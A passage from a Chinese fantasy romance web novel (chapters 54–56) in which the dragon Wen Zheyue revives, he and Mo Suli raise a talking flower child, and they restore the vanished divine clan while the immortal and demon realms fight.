有仙将没忍住,笑出了声:“他该不会以为叫爹咱们就会手下留情吧?” 墨夙离:“……” 很好,他的脸都丢尽了。 墨夙离头皮发麻,后脖颈子窜上来一股子热意,啊啊啊闻折月净出些馊主意,他这跟哭爹喊娘有什么区别。 累了,想毁灭世界。 墨夙离化羞愤为动力,越打越凶。 但一人终究难抵千军万马,就在若干仙兵仙将围住墨夙离的时候,一道剧烈的“咔嚓”声响彻天地,然后天就被捅开一个窟窿。 无数人从窟窿里冒了出来,首当其冲的就是老龟,墨夙离一眼扫过去,看到了一个熟人——大师兄。 若干修士和妖族从下界飞升,一时之间,上界中挤满了人。 从下界飞升到上界要经历劫雷,这么多人和妖,招来的劫雷也不是个小数目,成片的雷电凝聚在云端,将半边天都染成了青紫色。 在这噼里啪啦的劫雷中,酝酿着一道粗壮的雷柱。 闻折月一眼就认了出来,那是曾经劈过墨夙离的劫雷:“快躲到仙兵仙将后面!拉住天帝!他的修为高,能帮你挡住劫雷!” 墨夙离本来就被仙兵仙将围了个严实,一听闻折月的话,想也没想立马将天帝拽到了面前:“得罪了,希望你这把老骨头抗造一点。” 天帝还没反应过来,那雷柱就兜头劈了下来。 仙兵仙将被劈开后,劫雷又劈到了天帝身上,事实证明,天帝的老骨头非常硬,足足消磨了近一半劫雷的力量。 经过重重缓冲后,劫雷的威力减弱了大半,落到墨夙离身上时只比普通的劫雷重了一点。 但尽管如此,墨夙离还是被劈得龇牙咧嘴。 这么点劫雷他都觉得疼,那闻折月当时该有多疼? 脊骨被劈断,神魂四分五裂……时隔多年,墨夙离的心再次为小白龙疼起来。 他会爱上闻折月,是再合理不过的事情。 劫雷过去后,一股浑厚的力量流遍四肢百骸,迅速将墨夙离身上的伤治好了,与此同时,闻折月的神魂也被牵引着离开了他的身体。 力量经由同心命契流入闻折月的身体中,墨夙离的心跳逐渐加快,力量不再流走后,他似有所觉,转过了身。 一声长啸声划破天际,无妄海上浪潮迭起,他看到白龙游曳的身影,翻腾入海,呼云驾雾。 正是他的梦中情郎。 第54章 第 54 章 上界是个说大不大说小不小的圈子, 有点风吹草动就会传得沸沸扬扬,所以折月仙尊重伤,天帝与闻逍蔺月盏反目成仇的事已经暗中传开了。 折月仙尊重伤难救。 折月仙尊快死了。 折月仙尊死了。 折月仙尊尸骨无存。 …… 谣言一步步发酵, 如今基本上上界的人都知道闻折月死了, 还死得很惨。 猝不及防,白龙从无妄海中冲出, 重回人们的视线中,大家的第一反应就是——他诈尸了? 白龙俯冲过来,一尾巴扫开仙兵仙将, 刚才那道雷柱把他们劈得人都傻了, 如果没有修为护体,现在无妄海上就该漂浮着一层外焦里嫩的雷火烤肉人。 劫雷平等地劈着所有人,仙界大军灰头土脸, 就连天帝都被劈得焦头烂额, 真正意义上的焦——头烂额。 闻折月一尾巴横扫天边,无数人被拍飞,扑通一声, 扑通两声……纷纷掉进了无妄海里。 天帝也在其列。 闻折月意气风发,他活啦!哈哈! 要不是现场情况太乱,他恨不得现在就叉腰大喊,他大猛龙又回来了。 白龙长长的身子盘成一圈,将墨夙离箍在怀里, 墨夙离一下子梦回被圈着补充灵力的时候, 脸一热,正想开口让闻折月松开, 白龙就伸出舌头舔了他一口。 熟悉的配方,熟悉的湿漉漉。 但这次墨夙离是见过世面的人了, 没有被轻易糊弄过去,闻折月一变为人形,就得到了墨夙离热烈的欢迎——一个力道很大的脑瓜崩。 弹得闻折月脑瓜子嗡嗡的:“你,你这是虐待病人。” 闻逍和蔺月盏弹得他脑门还红通通的,墨夙离这一弹让他伤上加伤,原本微红的印子变得更红了,正在眉心,指甲盖大小,乍一看有点像小孩子用朱砂在额心点的红点。 墨夙离甩了甩袖子,湿淋淋的龙涎从身上滴落,闻折月自知理亏,默默闭了嘴。 “额心点朱砂,辟邪。”墨夙离摸了摸他的额头,果然皮厚,只是红了一点,没有大碍,“以后你就不会被鬼压床了。” 闻折月握住他的手,握得很紧:“如果你是鬼的话,我愿意被你压,一次压我十天也行。” 在自爆神魂的时候,他以为他再也不能握住墨夙离的手了。 失而复得的喜悦在胸口中酝酿,半死不活了短短几天,但闻折月和墨夙离的心情都发生了巨大的变化,同心命契带来的心音作用还在延续。 这边小两口甜甜蜜蜜,隔壁飞升的修士和妖族兵荒马乱地抵抗劫雷,无妄海里的仙兵仙将还没扑腾起来,就被伺机而动的魔族偷袭了个正着。 整个上界,乱成了一锅粥。 刚刚还被围攻的墨夙离顿时无人在意,闻折月玩笑道:“看来我是你的福星。” 他一来,就没人敢欺负墨夙离了。 墨夙离没搭腔,看向天边那个突然出现的窟窿,神力恢复之后,他对世间的洞察力又提升了,他清楚地感觉到了熟悉的力量,是闻逍和蔺月盏。 原来危机时刻叫爹真能救命。 好玩。 以后还要叫! 对此,闻逍和蔺月盏只想说:爹不行,爹不可。 两个捅破了天的人正在苦哈哈地维持上下界的通道,上界的命轨星君和下界的天道都被薅来帮忙了。 命轨星君:“你们两个惹的祸,为什么要我来承担后果?” 天道在心里附和,有谁比他冤枉,好好的生活彻底被打乱了,数不清的人和妖飞升只是开始,接下来人间的秩序将逐渐崩塌,这意味着他的工作量会翻倍上升,再严重一点,他能不能活着还是个未知数。 闻逍理直气壮:“你们一个掌管下界,一个司上界命数,如今上下界的气运乱成了一团,你们来处理不是应该的吗?” 蔺月盏的态度就没那么温和了:“祸是我们闯的,所以我们在这里,这是你们责任,所以你们在这里,能理解吗?不能理解我不介意采取一些强硬的手段。” 命轨星君气炸了:“除了威胁人,你还会做什么,无耻!” 天道:“理解理解。” 命轨星君:“???” 你的骨气呢? 天道肃然道:“互帮互助,共创美好世间,从你我他做起。” 闻逍给了他一个赞叹的眼神:“你很有觉悟。” 有了天道做对比之后,命轨星君显得格格不入。 蔺月盏没说话,只是意味深长地看了他一眼。 命轨星君:“……” 天杀的,天道又坑他! 命轨星君:“天帝也太不像话了,怎么能威胁人,你看看,你看看,把这里弄得乱七八糟。” 他笑得一脸祥和,义正辞严道:“同为上界人,造福天下苍生是应当的。” 闻逍雨露均沾,给了他一个孺子可教的眼神:“你也很有觉悟。” 于是四个人就开始和谐地拯救世界了。 闻逍和蔺月盏负责修补被捅破的天,天道和命轨星君则负责梳理杂乱的命运线,分工明确。 梳理着,命轨星君逐渐发现了不对劲:“这些飞升的人和妖,命数怎么……” “是不是发现他们命里早就该飞升了?” 命轨星君茫然地点点头,他司管上界命书,以前没有特地看过下界的凡人命运,今日一瞧,有很多人和妖的命运无端停滞,而天被捅破后,被阻碍的命运竟然重新开始流转了。 就像是捅破的不是天,而是横亘在命运洪流中的阻碍。 天道怨气满满:“你仔细想想,这千年间有人飞升过吗?” 除了闻折月,确实没看到新面孔。 命轨星君不禁瞪大了眼睛:“难道说,有人在阻碍下界的飞升?” “不是人。”天道掌管着下界的气运命数,告知更为清楚,“更像是一种无形的阻力。” 从一千多年前开始,本该飞升的人无法飞升,无数修士和妖族的命运停滞不前,他们不能停留在人间,又无法来到上界,最后只能去了地府。 如今是活着的修士和妖族一股脑儿飞升,再过一阵子,命运线全部恢复流转后,鬼族也会有一大批飞升的。 下界就像是绷紧的弦,迟早有一天会崩断,到时候后果不堪设想。 天道很感谢闻逍和蔺月盏闯了这个祸。 “这究竟是怎么回事?”命轨星君急切地问道。 “你听说过一个成语吗?”闻逍望向劫雷密布的方向,神色凛然,“不破不立。” 不破不立,破而后立,或许解除诅咒的唯一途径就是彻底打破一切。 时至今日,仙魔两族已经不是曾经同仇敌忾的时候了,经年的隔阂让两族水火不容,一看仙界被雷劈得不人不鬼,魔族闻着味儿就来了。 魔族将领齐声高喝:“吾等将跟随尊主,踏平仙界!” “踏平仙界!” “踏平仙界!” …… 魔族士气高涨,魔界可不讲仁义道德,趁你病要你命不叫趁人之危,那叫天赐良机,不能把握机会就不算合格的魔族。 天帝分身乏术,不得不先率领仙兵仙将抵抗魔界的进攻。 闻折月和墨夙离看着这一幕,不胜唏嘘,所以神族与仙魔两族都是狗,一条狗死了,剩下的两条狗迟早要撕咬起来。 争斗不休是神族的诅咒,也是仙魔两族的宿命。 “你还想复仇吗?” 神族的残念想拉着仙魔两族同归于尽,墨夙离并不认同他们的复仇办法,且不说他能不能把仙魔两族都灭族,那样世间必定会血流成河。 而天帝之所以要对他赶尽杀绝,想必也是怕有一天仙族步神族的后尘。 这场争斗持续了太长时间,被波及到的无辜之人不计其数,冤冤相报何时了,是时候该停止了。 看着仙魔两族争斗,墨夙离更加确定了内心的想法:“神族给了我生命,我想给他们一个生的希望。” 闻折月挑了下眉,他想到妙回春形容墨夙离的话:他有一颗善心。 的确如此,他永远都不会成为神族屠戮其他族的刀。 “不怕神族怨恨你吗?”闻折月思索了一下,道,“毕竟他们兢兢业业地守护着你,在他们看来,你帮他们报仇是天经地义的事情。” 墨夙离不以为意:“怨恨就怨恨吧,我问心无愧。” “其实我觉得神族并非穷凶极恶之徒,当初他们也是被逼到了绝路,他们也曾对仙族释放善意……草木最是单纯,能得到草木亲近的灵族,肯定不想看着世间生灵因他们而毁灭。” 墨夙离垂眸,如果他降生在神族没有灭族的时候,一定会阻止神族虐杀仙族,或许从那一刻起,神族就不再是神族了。 “这么多年过去了,仙魔两族争斗不休,魔族我不清楚,不过仙族,一只锋金蝶都能吓得他们慌不择路。” 当年的恐惧深入骨髓,一直延续到了今日。 这份煎熬是他们应得的。 闻折月轻叹一声:“看着并肩作战的仙魔两族走到今天这一步,相信神族的在天之灵也能安息了。” 如今的人评判过去肯定会有失偏颇,但这是必要的,并非将他们的想法强加于神族之上,只是这样或多或少能让他们引以为戒,不再重蹈覆辙。 持续了千年的和平骤然崩塌,仙魔两族轰轰烈烈地打了一架,打得天昏地暗。 而引起这场仙魔大战的墨夙离已经和闻折月悄然离开了。 他们又回到了无妄海禁地。 禁地里的小崽子肉眼可见地长大了很多,不通过叶子的触碰就能发出声音了,见到两个爹,小崽子热烈地打了个招呼:“汪汪汪!” 闻折月:“……” “你确定你身上没有狗尾巴草的血脉吗?” 墨夙离额角青筋暴起:“再提一句狗尾巴草,我就把你变成狗尾巴草!” 闻折月从善如流,将注意力转到了小崽子身上,这是他第一次以完整的人身面对小崽子,初为人父的激动油然而生。 见过无数大场面,但此时他还是控制不住自己,紧张地咽了咽口水:“崽,你好,我是你的爹爹。” 小崽子感觉到了他身上的力量,热情地回应了他:“汪汪汪汪!” 闻折月的笑容僵住,初为人父的喜悦都被汪没了,他失魂落魄地转过身,埋进墨夙离怀里:“怎么办,我们的崽好像是只小狗。” 墨夙离哭笑不得:“只不过是狗叫了几声,你好好看看,它可是一副花样。” 面前的花仿佛被触碰到了关键词,花苞没有变化,但茎杆拉长了很多,弯弯扭扭,叶子变成了小爪子。 墨夙离嘴角抽搐:“……它现在不是花样了。” 闻折月扭头看了一眼,和墨夙离一样,嘴角疯狂抽搐:“别告诉我,这叫一副龙样。” 小崽子:“汪!” 仿佛在告诉他,他答对了。 闻折月恨不得立刻变回原形,告诉小崽子他们龙真的不长这样,他们龙很威武很霸气的。 变成“龙”后,小崽子的身体也像龙一样拉长了很多,它飞向墨夙离,两只小爪子按在墨夙离的脸上,轻轻碰了碰他的左眼。 神魂回到闻折月的身体里后,他的左眼就回到了缺失的状态。 花朵其实不分左眼右眼,他用了一部分花瓣来救闻折月,化成人形就体现在了眼睛上。 神族的眼睛是力量源泉,在这一点上,墨夙离和神族有着异曲同工之妙。 他想他大概是比较特殊的神族。 小崽子用花瓣轻轻触碰墨夙离的眼窝,温柔又亲昵。 闻折月感动不已,他搂住了墨夙离,正想和他们一起贴贴,就发现有什么东西掉进了墨夙离的眼窝里。 是水蓝色的花蕊,一根一根流入墨夙离的眼睛里。 同根同源的力量并没有受到排斥,不消多时,那花蕊就凝成了一只淡蓝色的眼睛,和墨夙离的金色眼眸形成了鲜明的对比。 “汪!” 闻折月指尖发颤,触碰到墨夙离的眼角。 不再是血淋淋的伤口,也不再是空荡荡的眼窝,如今这眼眶里有一只漂亮的蓝色眼眸。 说蓝色其实不太贴切,更偏近银白色,只有瞳孔是蓝汪汪的,像一湾被缩小的海水。 墨夙离眨了下眼睛,有点不适应:“有什么好大惊小怪的,我们做花的,掉了的叶子和花瓣都会重新长出来。” 他也可以凝聚出一只假眼,只不过太忙了,还没顾得上。 没想到小崽子会把自己的力量给他。 墨夙离有些担心,没了花蕊,小崽子的发育该不会出现问题吧? “你们做花的可真厉害。”闻折月闭了闭眼睛,忍住泪意,捧着光秃秃没有花蕊的小崽子亲了好几口,逗得小崽子咯咯笑。 它真是脾气特别好的小崽子,喜欢墨夙离,也喜欢闻折月,两只小爪子亲热地摸摸两人的脸。 “崽,我们不汪了。”闻折月捏了捏它的小爪子,心道真可爱,可比龙爪子可爱多了,“崽,叫爹爹,爹爹——” 小崽子摇晃着花苞脑袋,忽然脆生生地喊了一声:“傻子龙!” 闻折月表情一僵,笑容逐渐消失,他默默转过头,看着墨夙离。 谁家好娃娃叫爹爹傻子龙啊! 墨夙离慌忙摆手:“跟我没关系,你别看我,不是我教他的。” 冤枉啊! 小爪子捧住闻折月的脸,亲亲热热地又喊了一句“傻子龙”,把他爹的一腔热情都喊灭了。 墨夙离欲哭无泪,他真没背地里教小崽子说这种话啊。 亲完闻折月后,小崽子不忘雨露均沾,又转而捧住墨夙离的脸,亲亲热热地蹭他的脸颊,嗷嗷地扯着嗓子喊道:“一次十天!一次十天!” 空气一滞,墨夙离默默转过头,审视的目光落到了闻折月身上。 第55章 第 55 章 闻折月沉默两秒, 在墨夙离的注视下对他感同身受了,他抹了把脸,把和墨夙离贴贴的小崽子拽开, 语气沧桑道:“我相信不是你教它的了。” 他对小崽子的容忍程度只够它贴墨夙离一次, 现在额度透支了。 “你已经是个成熟的大崽崽了,不能黏着娘亲。”闻折月语重心长道。 他感觉他好像变成了曾经的闻逍。 儿时他也喜欢亲近蔺月盏, 因为蔺月盏生下了他,可闻逍隔三差五就会在他面前宣誓主权,他原本以为闻逍是在和蔺月盏争宠, 小白龙还曾觉得端平家里这碗水太难了。 后来闻折月才知道, 闻逍的确是在争宠,但不是和蔺月盏争,而是在和他争。 人甚至不能共情曾经的自己, 现在他也变成了争宠的爹爹, 他终于理解闻逍那种看不惯他又干不掉他的心情了,自己的崽子抢自己的娘子,不能弄死崽子, 那就只能和崽子抢了。 闻折月默默在心里掀起了一场娘子保卫战。 墨夙离语气幽幽:“你说谁是娘亲?” 他攥了下拳头,指骨咔咔作响,闻折月斜了他一眼,理直气壮:“怎么,你又想搞家暴吗?我就喜欢当娘亲, 无论你说什么我也不会改的。” 啊…… 墨夙离怔了两秒, 有种拿出了刀,却发现敌人给自己挑了个脱衣舞的荒唐感, 他的脸上一下子变幻了几种表情,好不精彩。 现在动手, 就师出无名了。 好叭。 于是墨夙离收起了四十米大刀,换上了一副笑眯眯的表情:“行行行,你是娘亲,给小崽子喂奶的事就交给你了。” 他倒要看看闻折月怎么当这个娘亲。 喂奶? 闻折月下意识看向墨夙离的胸口,不知道墨夙离有没有……死亡视线再次落到身上,闻折月头皮一紧,麻利地转开了视线。 要命了。 之前是他修为高,现在风水轮流转,变成墨夙离占据主导权了,闻折月深感未来不妙,仰人鼻息的日子恐怕还长着呢。 果然不作就不会死。 他暗自在心里叹了口气,忧伤地戳了戳小龙花:“崽,你喝奶吗?” 只听说过坊间种植农作物会浇大粪,没听说过浇奶的。 小崽子摇晃着花苞脑袋,又恢复了狗言狗语的模式:“汪!” 闻折月突然想到一句话:狗改不了吃屎。 他亲生的小崽子该不会真要浇大粪养吧? 闻折月因为不着边际的幻想露出了嫌弃表情。 不知道是不是感觉到了他的心情,小崽子又抛弃了狗言狗语,说起了人话,只不过这人话也不太动听:“变态龙!花心龙!色龙!” 闻折月:“?” 墨夙离毫不客气地嘲笑闻折月,没想到下一秒就轮到了自己,小崽子转而对他也说了一句新的人话:“小寡夫!哭坟!一次十天!” 谁都不白来。 墨夙离:“?” 凭什么对他说的话里有重复的,能不能把一次十天叉出去?! 听得他腰疼。 这边墨夙离还在担心自己的老腰,那边闻折月已经从小崽子的人狗双语系统中发现了蛛丝马迹,小崽子说的话似乎都是他和墨夙离说过的。 从第一声“汪”开始,后面的傻子龙、一次十天、变态龙、小寡夫……全都是他们开玩笑时经常提到的词汇。 闻折月一脸狐疑:“有没有一种可能,小崽子在你肚子里的时候就能听到我们说话,还跟着学会了很多话?” 从现在的情况来看,这是最合理的解释。 回想起怀孕之后说过的话,墨夙离不禁心虚起来,他经常骂闻折月,小崽子也骂闻折月是因为他的胎教不好,所以他一点都不冤枉。 完了,把崽带坏了。 但他转念一想,不仅是他的胎教做得不好,闻折月这色龙的胎教也挺失败的,谁家天真无邪的小崽子会嚷嚷着一次十天,会嗷嗷着坟头找小寡夫。 仔细对比一下,闻折月的责任更大。 他只是教会了小崽子骂人,但闻折月把小崽子教成了变态。 如此一想,墨夙离顿时有了底气,听着像指责,但实际上是在往外丢黑锅:“要是它以后变成个变态流氓,就怪你,是你带坏了它。” 说得好像你没带坏它一样。 闻折月默默腹诽,谁也别想推卸责任:“小崽子什么时候能化形?” 变成小龙花之后,小崽子的根还是没离开土壤,按照闻折月以前的养小美经历来推算,小崽子必须得在彻底成熟后才能化为人形,期间可能还得经历一场劫雷。 不过有他和墨夙离在,总不会叫小崽子命丧劫雷之下。 再不济,他俩保不住小崽子,还可以叫爹,他爹爹们肯定能解决一切。 着急忙慌补天的闻逍和蔺月盏要是知道大儿子又给他俩安排了一场劫雷磨炼,八成得把这条啃老龙吊起来好好抽一顿,抽一次得骂一句“不成器”,再抽一次骂一句“没出息”。 就没见过这么不要脸的龙! 墨夙离试着将力量探入小崽子的身体中,惊奇地发现它身上的灵力在循环流动,小崽子吸收了魔气,转头就将力量输送到了根部的琥珀中。 他朝那块琥珀石头释放出了一丝神识,这次看到的东西令墨夙离更加震惊。 那块石头中蕴藏的力量熟悉又庞大,随着小崽子的哺育,缓缓地向禁地中流淌,在土壤下,这股强大的神力又流向同一个地方——玉海明沼。 不见天日的禁地里,似乎有无限生机在暗处发芽。 通过两人的心音,闻折月看到了令墨夙离大吃一惊的东西,他忽然想到黑雾和神族残念曾经说过的话——神族终有一日会重临世间。 他一开始以为这句话的意思是神族怨气冲天,迟早会借由黑雾肆虐人间,如同传言一样,打开异界大门,令世间生灵涂炭。 他没有想过还有另一种可能。 “神族亲近草木,是天生灵族,他们尊崇着你,而你是一朵花,那他们可能也是一朵花,是一棵草,是随处可见的树木。” 闻折月说得颠三倒四,不明其意,但墨夙离听懂了。 被灭亡的神族有可能也是草木化身,会在曾经的神族栖息地——玉海明沼重生。 发现这件事后,闻折月和墨夙离恨不得立马去玉海明沼看看情况,这是墨夙离的一大心病,他本来打算等尘埃落定后再回异界,寻找让神族重现生机的可能。 万万没想到,馅饼砸到脑袋上了。 闻折月的眼神变得柔和起来:“我之前说错了,我不是你的福星,小崽子才是你的福星。” 小崽子简直就是来报恩的。 墨夙离这次反驳了他:“你就是我的福星,大福星。” 但又不仅仅是福星。 闻折月对他的意义太过重大,简单的一个“福星”概括不了。 墨夙离也没忘记小崽子,他摸了摸小龙花,目光如同闻折月一般慈爱温和,就连一贯冷硬的语气都温温柔柔的:“崽崽是我的小福星。” 小崽子咯咯笑:“你超爱我的!” 墨夙离愣了下,这是小崽子头一回说人话。 各种意义上的人话。 闻折月轻笑:“这一句肯定是跟我学的。” 墨夙离想,大概是上天知道他不善于剖析真心,连爱意都耻于说出口,所以派了闻折月和小崽子来做他的家人,就算他不说,他们两个也能感觉到他藏于心底的爱意。 怕贸然移动小崽子引来劫雷,两人不得不放弃带它一起去玉海明沼的打算,闻折月语气轻柔得无以复加:“崽,爹爹们要去做一件大事,做完就回来找你,你要好好长大,知道吗?” 两人对小崽子的态度已经180°大反转了,尤其是墨夙离,开始打消要让妙回春帮他带小崽子的念头。 小崽子晃了晃爪子,一点都看不出不舍,它好像天生不懂何为忧愁,吃过最大的苦就是小时候没能及时吃到爹爹的灵力。 墨夙离故作不耐:“你怎么婆婆妈妈的,只是出去办个事,又不是不回来了。” 闻折月轻飘飘地看了他一眼,要是没有心音共享,他恐怕也会被墨夙离这一脸不在意骗到,真能装,明明心里头一点都舍不得。 无妄海上,仙魔两族还在打,出乎两人意料的是天空中的劫雷不减反增,源源不断的人和妖飞升到上界,引来的劫雷一拨接着一拨。 诚如天道所料,鬼也开始飞升了。 闻折月随意地瞥过去一眼,目光微颤:“那是……” 他看到了一张熟悉的脸。 墨夙离顺着他的视线看过去,那是一个面容清秀的鬼,身上背着一把剑,明明是个青年,但目光坚毅,有种不符合年纪的沧桑与成熟。 修士能够维持年轻时的状态,这大概是个修士鬼。 “你认识他吗?” “他是我爹爹的弟子,和老龟他们一起将我带大。”说起往事,闻折月颇为感慨,“他叫蔺鹤一,在爹爹离开人间后执掌了天下第一宗,是他教会我仁义道德,带我修炼。” 如果说老龟和妖怪们是他的亲人,那蔺鹤一就是他修行路上的师父。 “我飞升时他还活着,后来我终于被准许去人间渡劫,他却早已不在人世了,天下第一宗也归隐山林,避世不出,不再是人间赫赫有名的修仙宗门。” 蔺鹤一是蔺月盏唯一的亲传弟子,修为扎实,他以为他会飞升的。 闻折月无法形容他得知蔺鹤一大限将至却无法飞升,含恨而终时的心情,此时见到变成鬼的蔺鹤一飞升了,他心里的茫然唏嘘一泄而空,就像堵在心里的大石头终于落了地,整个人豁然开朗了。 这种心情的成因很复杂,蔺鹤一只是一个导火索,他直觉有更深处的事情悄然发生了改变。 白龙穿云破雾,穿过命运的枷锁,带着墨夙离飞向了玉海明沼。 此时此刻,补天上窟窿补得想骂娘的闻逍和蔺月盏感觉到了呼啸而过的白龙气息,表面的平和再也维持不住,去他娘的! 他们的大儿子是瞎了吗? 活了后不知道来看看辛辛苦苦的爹爹,不知道来帮个忙吗? 娶了媳妇忘了娘,千年不见,果然不亲了。 闻逍怨气满身:“儿孙自有儿孙福,没有儿孙我享福,有了儿孙就别想享福……果真是至理名言。” 命轨星君和天道不敢吱声,这种时候也就蔺月盏敢触闻逍的霉头:“多大的人了,还耍小孩子脾气。” 不愧是生了儿子的人,就是比爹更疼儿子。 命轨星君在心里感慨道。 没承想下一秒,蔺月盏就换了一副嘴脸:“背地里偷偷抱怨有什么用,赶紧解决这麻烦事,把那条龙崽子吊起来好好抽一顿。” 命轨星君:“……” 魔尊果然残暴。 事实证明,也有魔尊并不残暴,比如墨夙离。 玉海明沼的情况和他们的猜想差不多,湖泊里咕嘟嘟冒着泡泡,柔和的神力抚慰着四周,曾被淹没的土地重新焕发了生机,有嫩绿的枝芽冒了尖。 与此同时,墨夙离感觉到了异界的变化,灰蒙蒙的世界里照进了一束光,时逾千万年,寸草不生的大地又有了孕育生命的希望。 异界也是世间的一部分,只不过被封印起来了,而今上下界的禁锢被打破了,连带着封印都松动了。 玉海明沼最初是神族的禁地,本就和异界相连,仙族为了种植白椿不得不留下玉海明沼,当封印出了问题后,这里的变化自然而然能够影响到异界。 当希望降临异界,曾孕育出神族的土地也会再次孕育出生命。 小崽子的力量有限,短时间内没办法促使神族孕育,墨夙离想也没想,就朝着湖泊释放出神力。 他出手之后,周围的气息流动明显快了很多。 闻折月跃跃欲试:“我也来帮你。” 墨夙离连忙拦住他:“不行,你是仙魔混血,你的力量无法催生神族的孕育,神族对仙魔两族有怨气,或许还会适得其反。” “那我只能看着你和崽子努力吗?”闻折月备受打击。 墨夙离垂下眼眸,眼底闪过一丝沉色,他瞬间就做出了决定,故作轻松道:“你去小崽子那里吧,它可以吸收你的力量,转化后或许就不会被排斥了。” 闻折月沉默了两秒,轻声道:“我不想把你一个人留在这里,我想陪着你。” 墨夙离啧啧:“你怎么比小崽子还黏人?” 闻折月一点都不羞愧,反而骄傲地哼了声:“因为我比它更爱你。” 墨夙离的心跳空了一拍,他想装出一副习以为常的样子,但心跳快得像是要将胸口撑开,他与闻折月历尽生死,爱意在每一个行为中清晰昭示,他以为他已经能够坦然接受了。 他以为他不会被言语打动。 可闻折月轻飘飘的一句话就破开了他所有伪装,劈开重重心门,直抵他内心最深处最柔软的地方。 在这一刻,他才真正明晰何为情,何为爱,何为相思,何为不舍得。 “不过你想让我去,那我就去。”闻折月上前一步,在他的眼睛上落下一个轻吻,“我永远尊重你的选择,我不会阻拦你做任何事,我只会陪你一起承担。” 他吻的是墨夙离的右眼,金色的眸子被眼皮覆盖住,颤出了一层雾蒙蒙的水光。 珍而重之,像是倾尽了毕生的柔情。 “你知道的,我们性命相连。” 闻折月转身离开,墨夙离目送着他走远,一滴金色的眼泪从他右眼落下,砸在脚下的大地上,砸出一片生机盎然。 在墨夙离看不到的地方,闻折月深吸一口气,眸中有水光闪烁。 第56章 第 56 章 要让一片寸草不生的土地重新孕育出生命, 所需要的力量庞大到无法估计。 墨夙离一看到玉海明沼和异界的情况就知道仅靠他和小崽子有限的神力无法在短时间内使神族降生,生命是一件不可捉摸的事情,或许一年两年, 或许十年百年, 或许千年万年,神族何时会再度降生在这片大地上, 是未知数。 而墨夙离等不了那么久。 他没办法眼睁睁看着神族煎熬,而自己明明有余力却不帮忙。 这和帮神族报仇是两码事,这是他欠下的债, 是他身为庇护者必须要做的事情。 他想闻折月一定已经猜到了他想做什么, 就算没有共通的心音,闻折月也是世界上最了解他的人,他瞒得过世间所有人, 也瞒不过闻折月。 墨夙离收回手, 按住了那只金色的右眼。 他的力量剥了一半救所爱之人,剩下的一半还神族的恩情,也算是用得其所了。 闻折月刚离开玉海明沼不久, 就感觉到身上的力量被抽走了大半,同心命契在察觉到某一方生命遇到危险的时候会自动发挥作用。 墨夙离最终还是做出了这个选择。 他应该为墨夙离感到高兴的,这意味着从今往后他的小花再也不必背负神族的命运了,可一想到墨夙离吃了这么多苦,他心里就疼得厉害, 一想到他帮不上忙, 心疼顿时就转化为无力感了。 如果他再强一点,是不是就能更好保护墨夙离了? 闻折月深吸一口气, 没有回头,上一次墨夙离当着他的面剜出左眼给他留下了阴影, 这一次墨夙离支开他,想必也是不想再让他难过。 他不能辜负墨夙离的心意。 闻折月以最快的速度回到了无妄海禁地,小崽子见到他很开心,但闻折月看得出来,它的情绪明显不太高。 应该也知道墨夙离做了什么。 他摸了摸小崽子的脑袋,将蔫头耷脑的花朵扶起来:“我们要帮爹爹完成心愿,乖。” 小崽子蹭了蹭他的手,小小声道:“汪。” 人要知足,闻折月忽然觉得狗叫也挺可爱的,等尘埃落定后,他就带着墨夙离远离纷争,整天听小崽子汪汪叫,那一定会是最幸福的生活。 闻折月将灵力输入到小崽子身上,墨夙离的猜测没有错,经过小崽子的转化,他的力量也渗入了那块琥珀之中,花壳里孕育出了新的生命,又将希望输送到神族诞生的异界。 一家三口就这样在没人知道的地方,一点点播种生的希望,如果灵力能够浇灌出新的生命,那也是修炼的意义所在。 顿悟就在一瞬间。 闻折月突然感觉到停滞百年的境界松动了,有如天光乍破,他的身上爆发出一阵刺眼的光芒。 突破境界是好事,但这突破的时机太不巧了,早不来晚不来,偏偏在这时候来,万一他渡不过这道劫,那墨夙离也会受到牵连。 天不怕地不怕的折月仙尊在这一刻忽然生出了惧意。 他不能继续留在这里了,不然劫雷很可能会影响到小崽子,闻折月匆匆在小龙花的花苞上亲了亲,转身离开了禁地。 闻折月早已晋升仙尊,他的劫雷比下界飞升的所有人的劫雷都要强,仔细看,竟然比墨夙离之前面对的雷柱还要强上几分。 整个无妄海上空都被阴云笼罩了,打得正酣的仙魔两族不约而同地停下了手。 刚被劈过的仙兵仙将们一个哆嗦,乖乖,这要再捱一下,他们不得被劈成干尸啊! 偷偷看着仙界将士们被劈的魔族也心有余悸,要知道他们敢大举进攻,就是趁虚而入,眼下更强大的劫雷来了,此时不跑更待何时,于是刚才还气势汹汹的魔族大军轰然而散。 魔界中人在惜命这点上登峰造极,称第二没人敢称第一。 四位镇守仙门的将军狼狈不已,纷纷看向了天帝:“魔族大军撤了,我们的损伤远比魔界惨重,要继续进攻吗?” 问得是要不要进攻,但所有人心知肚明,眼下只有一条路——撤退。 在打肿脸充胖子这一点上,显然仙界要更加出色。 “这是折月的劫雷。”天帝开口,语气比众人意料中复杂很多。 这种复杂产生于天帝和闻折月不久前才生死相搏,在谣言中,他们两个已经近乎不死不休的状态,闻折月彻底倒戈墨夙离,引发了仙界千万年来最大的危机。 但仔细琢磨一下,就会发现天帝并非对闻折月抱有杀心。 “撤吧。”天帝长叹一声,仿佛一瞬间苍老了很多。 大厦将倾,天崩地裂,他看着这摇摇欲坠的世间,忽然觉得曾经对墨夙离赶尽杀绝是一件很愚蠢的事,墨夙离并非神族之事的终结,就算杀了他,杀死他腹中的孩子,神族加注在仙族上的阴影也不会消失。 神族的事情该有一个了结。 但这个了结不会诞生于无休止的赶尽杀绝中。 天帝眼底的迷茫逐渐散去,他的眼神变得坚定起来,命令道:“带所有人离开无妄海,好好治疗他们身上的伤,有余力者去帮闻逍维持上界的秩序。” 所有人听从命令撤退,镇南将军最后问了一句:“那您呢,不离开吗?” 天帝露出一个如释重负地笑:“曾经做了错事,总该想办法弥补。” 闻折月是他看着长大的,小白龙一步步走到今天,他从未想过有朝一日,自己会差点逼死闻折月。愧疚压在他心里,压得他喘不过气来。 虽然不知道闻折月是怎么痊愈的,但大病初愈,扛一道劫雷,还是这么厉害的劫雷,必定很勉强。 不仅仅是为了弥补内心的愧疚,更是作为一个不合格的长辈,终于想为后辈做一点事情。 天帝的出手相助在闻折月的意料之外,不过仔细想想,他也能理解:“听说你被我爹揍了,真的吗?” 天帝:“……” 哪壶不开提哪壶,他突然后悔留下了。 “可巧了,我也被我爹揍了。” 闻折月笑容爽朗,全然没有落井下石的意思,天帝心中更是愧疚,深觉自己当初太过分了:“折月,我……” 让上位者承认错误,低头道歉,比要了他们的命还难。 